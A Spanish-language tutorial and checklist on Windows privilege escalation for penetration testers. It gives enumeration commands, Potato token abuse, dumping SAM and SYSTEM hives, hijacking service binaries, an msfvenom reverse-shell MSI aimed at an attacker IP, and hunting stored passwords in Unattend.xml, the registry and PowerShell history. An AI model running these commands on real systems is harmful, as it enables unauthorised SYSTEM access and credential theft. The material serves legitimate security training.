Escalada de Privilegios en Windows

Tienes una shell como usuario sin privilegios en Windows y quieres llegar a NT AUTHORITY\SYSTEM (el equivalente a root). La lógica es la misma que en Linux: enumerar bien. Windows añade sus propias joyas: tokens, servicios mal configurados y los Potato attacks.

Enumeración inicial

copiarwhoami
whoami /priv              # ¡CLAVE! privilegios del token
whoami /groups
systeminfo                # versión, parches (hotfixes), arquitectura
hostname
net user                  # usuarios locales
net user <usuario>        # detalle de un usuario
net localgroup administrators
ipconfig /all

PowerShell:

copiarGet-LocalUser
Get-LocalGroupMember Administrators

Enumeración automática:

copiar# winPEAS (consigue el .exe o .bat en la máquina y ejecútalo)
.\winPEASx64.exe

# PowerUp (PowerShell)
powershell -ep bypass
. .\PowerUp.ps1 ; Invoke-AllChecks

Vía 1 — Privilegios del token (whoami /priv)

Ciertos privilegios permiten escalar directamente a SYSTEM:

SeImpersonate → Potato attacks

Si tienes SeImpersonatePrivilege (típico de cuentas de servicio como iis apppool, mssql), usa un Potato:

copiar# PrintSpoofer (moderno y fiable)
PrintSpoofer.exe -i -c cmd

# GodPotato (muy compatible con versiones recientes)
GodPotato.exe -cmd "cmd /c whoami"

# JuicyPotato / RoguePotato (sistemas más antiguos)

SeBackup → robar hashes

copiarreg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# descarga ambos y extrae hashes:
# impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Vía 2 — Servicios mal configurados

Permisos débiles del servicio

Si puedes reconfigurar un servicio que corre como SYSTEM, apúntalo a tu payload:

copiar# Ver permisos de servicios (con accesschk de Sysinternals)
accesschk.exe /accepteula -uwcqv <usuario> *
sc qc <servicio>

# Reconfigurar el binario del servicio
sc config <servicio> binPath= "C:\Windows\Temp\rev.exe"
sc stop <servicio> & sc start <servicio>

Unquoted Service Path (ruta sin comillas)

Si la ruta del binario tiene espacios y no está entre comillas, Windows prueba rutas intermedias. Si puedes escribir en una de ellas, colocas tu payload:

copiar# Buscar servicios con ruta sin comillas
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\""

Ruta C:\Program Files\Some Dir\service.exe → Windows intenta C:\Program.exe, C:\Program Files\Some.exe… Coloca Some.exe si tienes escritura.

Binario o carpeta del servicio escribible

Si puedes sobrescribir el .exe del servicio o un DLL que carga → reemplázalo por tu payload y reinicia el servicio.

Vía 3 — AlwaysInstallElevated

Si estas dos claves están a 1, cualquier .msi se instala como SYSTEM:

copiarreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Si ambas valen 1:

copiar# Generar el MSI malicioso (en tu máquina)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f msi -o evil.msi

copiar# En la víctima
msiexec /quiet /qn /i evil.msi

Vía 4 — Credenciales guardadas

copiar# Ficheros de respuesta de instalación (contraseñas en claro)
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattended.xml

# Credenciales guardadas de Windows
cmdkey /list
runas /savecred /user:admin cmd.exe

# Registro: autologon, PuTTY, VNC
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query HKCU\Software\SimonTatham\PuTTY\Sessions

# Historial de PowerShell
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Busca ficheros con credenciales:

copiarfindstr /si password *.txt *.ini *.config *.xml
Get-ChildItem -Recurse -Include *.config,*.xml,*.txt | Select-String "password"

Vía 5 — Exploits de sistema (parches)

Compara systeminfo con los exploits conocidos:

copiar# En tu máquina, con la salida de systeminfo guardada
windows-exploit-suggester.py --database xlsx --systeminfo systeminfo.txt
# o la versión next-gen:
wesng  # wes.py systeminfo.txt

Clásicos: PrintNightmare (CVE-2021-34527), HiveNightmare/SeriousSAM (CVE-2021-36934), MS16-032, exploits de kernel según build.

Checklist de escalada Windows

• whoami /priv → ¿SeImpersonate/SeBackup/SeDebug/…?
• ¿SeImpersonate? → PrintSpoofer / GodPotato (SYSTEM casi seguro)
• Servicios: permisos débiles, unquoted path, binario escribible
• AlwaysInstallElevated (ambas claves a 1)
• Credenciales: Unattend.xml, cmdkey, registro, historial PS
• Tareas programadas (schtasks /query /fo LIST /v)
• systeminfo → windows-exploit-suggester / wesng
• Aplicaciones de terceros vulnerables instaladas

Herramientas relacionadas

Dónde practicar la escalada en Windows

Mini-writeup: escalada por SeImpersonate (Potato)

1. Enumerar

   whoami /priv muestra SeImpersonatePrivilege habilitado.
2. Subir

   Transferir PrintSpoofer/GodPotato a la víctima.
3. Explotar

   Ejecutar el Potato para abrir una shell como SYSTEM.

copiarwhoami /priv
:: SeImpersonatePrivilege  Enabled
PrintSpoofer.exe -i -c cmd
:: whoami -> nt authority\system